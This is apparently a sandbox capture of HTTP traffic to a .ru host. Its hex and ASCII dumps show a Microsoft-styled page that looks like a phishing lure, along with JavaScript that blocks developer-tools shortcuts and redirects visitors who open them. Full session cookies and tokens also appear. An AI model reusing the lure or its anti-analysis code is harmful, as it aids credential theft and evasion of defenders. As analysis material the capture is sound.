2025-03-21 06:03:20 UTC	1485	OUT	GET /ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImQ0VUdCV0F1aTdYY0g0NUhrd3FOMVE9PSIsInZhbHVlIjoieFYrQ3lVd0Niay9KOURHbkV5blFKV0FMeUNDR1pOK0V5b28xcVlYSlhuL2hkYzRkZWp3M2VkQXNOeWtuNzFZcVNTczJnbmN2aFh3Y0FkQzdNb3BHTTdOZU9JMmFXRG5uMmdybzgrSi9ySjBHTDBaWUxmWHBqTURMZ3c2UFdZMDIiLCJtYWMiOiIxNjE4MDY3NWE3MTgxYjc3MDY0MDgxYWQ2NTBmM2JhNzAzOGFjMzljYmVkOTcwMDAzZDg4YmQ4ZTU3YmUyODAwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVxUC94YjNNNWhYVGJoVXBxM1R5VXc9PSIsInZhbHVlIjoiWkNuY1NLUmJmRm9XaEhDSUs2VTNxTkcxRSs3dFRjWHhlSGF6elJyQlZVZzJlTWhCcExvSXRoaEF0TmxaQTJxbXBwNjlHblFLWFlzd2UxK0pWUnZqWGE4VUkvbUVreHE4UVJIK05UZUFSMStpeFM5d21yNXFhQi9zUG5EV2hJSFciLCJtYWMiOiI1MDE3YjcyNTNiYjU4MWEzMjI0ZjBlYmQwZDUyNmMyN2EwYTNkMDA1ZDYxZGQ5MjdkNWEwNmFjOTBmYWQ1NzYzIiwidGFnIjoiIn0%3D
2025-03-21 06:03:20 UTC	1216	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SaP84eefGZaL74DyRf1okwmBLn9CH%2B%2FP%2BvrvLysiM8PDvd7wrk6XxvVT%2BAP3K8zyOnBiFm%2F2gZp4HGOYqJmRw6NbvDjk84EoDMv7Kk0vvO64EXN21SQuxzn2ecLybh7rVgjO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8489&min_rtt=8489&rtt_var=3183&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2396&delivery_rate=335492&cwnd=252&unsent_bytes=0&cid=2b1cffa4a5897571&ts=235&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; expires=Fri, 21-Mar-2025 08:03:20 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-21 06:03:20 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 46 53 52 6c 46 45 53 48 49 34 4e 79 74 4d 54 6d 4a 45 64 57 64 51 4b 7a 4a 32 57 55 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 48 70 79 51 53 39 6a 61 56 52 44 53 31 64 42 55 6e 5a 59 61 6e 56 45 63 6a 68 43 65 45 56 69 52 45 4e 46 64 6a 68 43 4f 56 70 72 62 30 52 50 5a 30 46 70 59 32 5a 77 55 6a 63 32 53 55 74 36 4e 33 6c 51 4d 6d 39 56 57 6b 4e 6e 4f 48 68 57 51 6e 70 43 61 57 4e 54 5a 54 6c 4c 56 55 4a 72 56 57 4e 47 56 58 4d 30 64 6c 4e 32 5a 32 46 53 61 55 31 6c 56 33 42 30 4e 46 6c 54 5a 47 45 30 57 6a 68 55 56 33 4a 6c 65 47 56 32 61 47 70 43 56 47 68 71 4e 30 46 36 54 55 73 31 59 6d 6c 61 54 7a 51 32 4e 48 67 30 52 31 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1c
2025-03-21 06:03:20 UTC	334	IN	Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c Data Ascii: 147<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <titl
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 34 32 36 63 0d 0a 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 7d 0d 0a 0d 0a 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 2d 2d 73 3a 20 31 38 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 57 3a 20 31 33 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 65 6e 76 48 3a 20 37 31 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 57 3a 20 31 31 38 70 78 3b 0d 0a 20 20 20 20 2d 2d 73 71 57 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 0d 0a 20 20 20 20 2d 2d 73 71 48 3a 20 33 37 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 48 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 2d 2d 63 61 6c 48 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 73 Data Ascii: 426cackground-color: #fff; height: 100%; overflow: hidden;}:root { --s: 180px; --envW: 130px; --envH: 71px; --calW: 118px; --sqW: calc(var(--calW) / 3); --sqH: 37px; --calHH: 20px; --calH: calc(var(--s
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 72 7b 77 69 64 74 68 3a 32 38 37 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 34 39 30 64 66 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 31 32 30 70 78 2c 36 33 70 78 29 20 72 6f 74 61 74 65 28 2d 32 38 64 65 67 29 3b 7d 0d 0a 23 65 62 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 2c 23 63 61 6c 3e 2e 74 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 7d 0d 0a 23 63 61 6c 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 Data Ascii: r{width:287px;background:#1490df;transform:translate(-120px,63px) rotate(-28deg);}#eb{width:var(--envW);height:40px;background:#123b6d;margin-top:-70px;}#cal,#cal>.r,#cal>.t{width:var(--calW);}#cal{flex-direction:row;flex-wrap:wrap;height:var(--calH
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 75 6e 64 3a 23 31 32 33 62 36 64 3b 7d 0d 0a 23 4d 53 4c 6f 67 6f 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 33 36 70 78 3b 0d 0a 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 35 30 76 77 20 2d 20 34 35 70 78 29 3b 0d 0a 7d 0d 0a 2f 2a 21 20 43 53 53 20 55 73 65 64 20 6b 65 79 66 72 61 6d 65 73 20 2a 2f 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 62 6f 75 6e 63 65 7b 30 25 2c 31 30 30 25 2c 31 32 2e 35 25 2c 33 32 2e 35 25 2c 35 30 25 2c 37 36 2e 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 7d 32 32 2e 35 25 2c 38 36 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 37 70 78 29 3b 7d 7d 0d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 68 61 64 Data Ascii: und:#123b6d;}#MSLogo { position: fixed; bottom: 36px; left: calc(50vw - 45px);}/! CSS Used keyframes /@keyframes bounce{0%,100%,12.5%,32.5%,50%,76.1%{transform:translateY(0);}22.5%,86%{transform:translateY(7px);}}@keyframes shad
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 67 4c 4c 59 47 6b 71 6e 63 6b 20 3d 20 5b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6b 65 79 43 6f 64 65 3a 20 31 32 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 37 33 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 63 74 72 6c 3a 20 74 72 75 65 2c 20 73 68 69 66 74 3a 20 74 72 75 Data Ascii: t) { const gLLYGkqnck = [ { keyCode: 123 }, { ctrl: true, keyCode: 85 }, { ctrl: true, shift: true, keyCode: 73 }, { ctrl: true, shift: true, keyCode: 67 }, { ctrl: true, shift: tru
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 50 47 52 70 57 45 4f 20 26 26 20 21 63 6d 54 6d 63 55 69 51 4c 4b 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 47 47 7a 46 78 49 68 62 61 76 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6d 54 6d 63 55 69 51 4c 4b 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 6c 69 70 6b 61 72 74 2e 63 6f 6d 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 2c 20 31 30 30 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6f 70 79 27 2c 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 64 Data Ascii: PGRpWEO && !cmTmcUiQLK) { GGzFxIhbav = true; cmTmcUiQLK = true; window.location.replace('https://www.flipkart.com'); } }, 100);})(); document.addEventListener('copy', function(event) { if (d
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 6c 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 63 6c 6f 73 65 64 46 6c 61 70 22 3e 3c 64 69 76 20 69 64 3d 22 66 6d 61 73 6b 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 61 70 54 72 69 61 6e 67 6c 65 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 77 69 64 74 68 3d 22 39 39 22 3e 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 Data Ascii: l"></div></div><div id="closedFlap"><div id="fmask"><div class="flapTriangle"></div></div></div></div></div></div><svg id="MSLogo" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" height="22" width="99"><g fill="none" fi
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 30 36 33 56 38 2e 30 31 31 6c 2d 2e 30 32 39 2d 2e 30 31 37 63 2d 2e 32 34 31 2d 2e 31 33 35 2d 2e 35 37 31 2d 2e 32 34 36 2d 2e 39 38 2d 2e 33 33 31 4d 35 39 2e 34 35 32 20 37 2e 35 39 37 61 32 2e 31 37 20 32 2e 31 37 20 30 20 30 30 2d 31 2e 34 31 35 2e 35 30 37 63 2d 2e 33 35 38 2e 32 39 36 2d 2e 36 31 36 2e 37 2d 2e 38 31 34 20 31 2e 32 30 37 48 35 37 2e 32 56 37 2e 37 35 33 68 2d 32 2e 31 31 36 76 38 2e 39 39 39 48 35 37 2e 32 76 2d 34 2e 36 30 33 63 30 2d 2e 37 38 34 2e 31 37 38 2d 31 2e 34 32 36 2e 35 32 38 2d 31 2e 39 31 32 2e 33 34 36 2d 2e 34 38 2e 38 30 36 2d 2e 37 32 33 20 31 2e 33 36 39 2d 2e 37 32 33 2e 31 39 20 30 20 2e 34 30 34 2e 30 33 31 2e 36 33 36 2e 30 39 33 2e 32 33 2e 30 36 33 2e 33 39 36 2e 31 32 39 2e 34 39 33 2e 32 6c 2e 30 39 2e Data Ascii: 063V8.011l-.029-.017c-.241-.135-.571-.246-.98-.331M59.452 7.597a2.17 2.17 0 00-1.415.507c-.358.296-.616.7-.814 1.207H57.2V7.753h-2.116v8.999H57.2v-4.603c0-.784.178-1.426.528-1.912.346-.48.806-.723 1.369-.723.19 0 .404.031.636.093.23.063.396.129.493.2l.09.
2025-03-21 06:03:20 UTC	1369	IN	Data Raw: 31 2e 31 33 37 2e 33 35 2e 34 34 39 2e 30 39 34 2e 38 35 39 2e 31 34 31 20 31 2e 32 31 33 2e 31 34 31 20 31 2e 30 39 36 20 30 20 31 2e 39 37 37 2d 2e 32 36 20 32 2e 36 32 2d 2e 37 37 31 2e 36 34 38 2d 2e 35 31 35 2e 39 37 36 2d 31 2e 32 30 34 2e 39 37 36 2d 32 2e 30 34 35 20 30 2d 2e 36 30 37 2d 2e 31 37 36 2d 31 2e 31 32 37 2d 2e 35 32 35 2d 31 2e 35 34 36 2d 2e 33 34 35 2d 2e 34 31 36 2d 2e 39 34 36 2d 2e 37 39 39 2d 31 2e 37 38 34 2d 31 2e 31 33 36 4d 38 34 2e 30 36 33 20 31 34 2e 34 36 35 63 2d 2e 33 39 38 2e 34 39 39 2d 2e 39 39 37 2e 37 35 31 2d 31 2e 37 38 2e 37 35 31 2d 2e 37 37 37 20 30 2d 31 2e 33 39 2d 2e 32 35 36 2d 31 2e 38 32 32 2d 2e 37 36 36 2d 2e 34 33 35 2d 2e 35 31 2d 2e 36 35 35 2d 31 2e 32 33 38 2d 2e 36 35 35 2d 32 2e 31 36 33 20 30 Data Ascii: 1.137.35.449.094.859.141 1.213.141 1.096 0 1.977-.26 2.62-.771.648-.515.976-1.204.976-2.045 0-.607-.176-1.127-.525-1.546-.345-.416-.946-.799-1.784-1.136M84.063 14.465c-.398.499-.997.751-1.78.751-.777 0-1.39-.256-1.822-.766-.435-.51-.655-1.238-.655-2.163 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:20 UTC	1155	OUT	GET /lmK872PnEvFhfAX0u0ValNz5o5iR18fGtkIzE6hpFhwkn2VoUbgy HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImQ0VUdCV0F1aTdYY0g0NUhrd3FOMVE9PSIsInZhbHVlIjoieFYrQ3lVd0Niay9KOURHbkV5blFKV0FMeUNDR1pOK0V5b28xcVlYSlhuL2hkYzRkZWp3M2VkQXNOeWtuNzFZcVNTczJnbmN2aFh3Y0FkQzdNb3BHTTdOZU9JMmFXRG5uMmdybzgrSi9ySjBHTDBaWUxmWHBqTURMZ3c2UFdZMDIiLCJtYWMiOiIxNjE4MDY3NWE3MTgxYjc3MDY0MDgxYWQ2NTBmM2JhNzAzOGFjMzljYmVkOTcwMDAzZDg4YmQ4ZTU3YmUyODAwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVxUC94YjNNNWhYVGJoVXBxM1R5VXc9PSIsInZhbHVlIjoiWkNuY1NLUmJmRm9XaEhDSUs2VTNxTkcxRSs3dFRjWHhlSGF6elJyQlZVZzJlTWhCcExvSXRoaEF0TmxaQTJxbXBwNjlHblFLWFlzd2UxK0pWUnZqWGE4VUkvbUVreHE4UVJIK05UZUFSMStpeFM5d21yNXFhQi9zUG5EV2hJSFciLCJtYWMiOiI1MDE3YjcyNTNiYjU4MWEzMjI0ZjBlYmQwZDUyNmMyN2EwYTNkMDA1ZDYxZGQ5MjdkNWEwNmFjOTBmYWQ1NzYzIiwidGFnIjoiIn0%3D
2025-03-21 06:03:20 UTC	1029	IN	HTTP/1.1 404 Not Found Date: Fri, 21 Mar 2025 06:03:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H7IQXm9BGFCKGIrpkmU0OkpxSkSsRhIPaO7XFWEQWI0EdmSRJg5QvenDwgGuddH44x7BYurJ%2F1ZC4Eul02pvGdleLB79KrQz%2B3rNAIgZR13zTkRG1vEi86DMya63ooamVi1y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8682&min_rtt=8647&rtt_var=3268&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2066&delivery_rate=329362&cwnd=252&unsent_bytes=0&cid=7b71f2c041b29c94&ts=314&x=0" Server: cloudflare CF-RAY: 923b3edbb8beed71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97799&min_rtt=97187&rtt_var=21317&sent=7&recv=8&lost=0&retrans=1&sent_bytes=4065&recv_bytes=1727&delivery_rate=9706&cwnd=246&unsent_bytes=0&cid=90741891f61c8e9d&ts=778&x=0"
2025-03-21 06:03:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:20 UTC	524	OUT	POST /report/v4?s=yHCC%2F59hrgy0Mmy3EywNxrmssdmstF3vlyA4yr4dQxdofaxoY44Ew5kZ%2BI4knT%2BgBv%2B6XPR4QU2FeTlJvCfQg%2BYSgMMEw2WkHT2ncpg73FEIgGlC3%2BKnETtjeQxRtZMj%2Fqjq HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 419 Content-Type: application/reports+json Origin: https://zy7z.fmaymzjp.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 06:03:20 UTC	419	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 32 32 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 38 2e 32 31 36 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 79 37 7a 2e 66 6d 61 79 6d 7a 6a 70 2e 72 Data Ascii: [{"age":0,"body":{"elapsed_time":1220,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.18.216","status_code":404,"type":"http.error"},"type":"network-error","url":"https://zy7z.fmaymzjp.r
2025-03-21 06:03:20 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Fri, 21 Mar 2025 06:03:20 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-21 06:03:21 UTC	1342	OUT	GET /563n1EOgaksuabejh6720 HTTP/1.1 Host: zy7z.fmaymzjp.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
2025-03-21 06:03:21 UTC	1093	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 06:03:21 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="563n1EOgaksuabejh6720" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o8K%2F4dWdW7PB5RS4RHK4jscGHQdq098Hgzl8P%2BsHEBE9ZlJfBbLvwVRdcxda5Epnvs%2F%2BczhnKO1GzvsxlqPV5vN8OsAaJAkEH1JbUsUR1O7SooLZH%2FGscIYy7Zhx5Jc%2FCtXp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8390&min_rtt=8366&rtt_var=3154&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2252&delivery_rate=340425&cwnd=32&unsent_bytes=0&cid=84db17c8a11735ee&ts=338&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 923b3ee1e858ef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101796&min_rtt=101358&rtt_var=22041&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2823&recv_bytes=1914&delivery_rate=36282&cwnd=243&unsent_bytes=0&cid=0809397c82e940d4&ts=641&x=0"
